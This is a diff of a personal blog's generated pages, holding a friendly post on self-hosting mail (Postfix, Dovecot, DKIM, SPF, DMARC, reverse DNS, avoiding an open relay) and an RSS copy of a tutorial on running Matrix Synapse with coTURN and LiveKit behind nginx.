    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/mail/page/1/index.html b/public-clearnet/tags/mail/page/1/index.html new file mode 100644 index 0000000..53d13c9 --- /dev/null +++ b/public-clearnet/tags/mail/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/mail/ + \ No newline at end of file diff --git a/public-clearnet/tags/matrix/index.html b/public-clearnet/tags/matrix/index.html new file mode 100644 index 0000000..e58312a --- /dev/null +++ b/public-clearnet/tags/matrix/index.html @@ -0,0 +1,13 @@ +Matrix | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/matrix/index.xml b/public-clearnet/tags/matrix/index.xml new file mode 100644 index 0000000..847d251 --- /dev/null +++ b/public-clearnet/tags/matrix/index.xml @@ -0,0 +1,351 @@ +Matrix on AlipourIm journeyshttps://blog.alipour.eu/tags/matrix/Recent content in Matrix on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
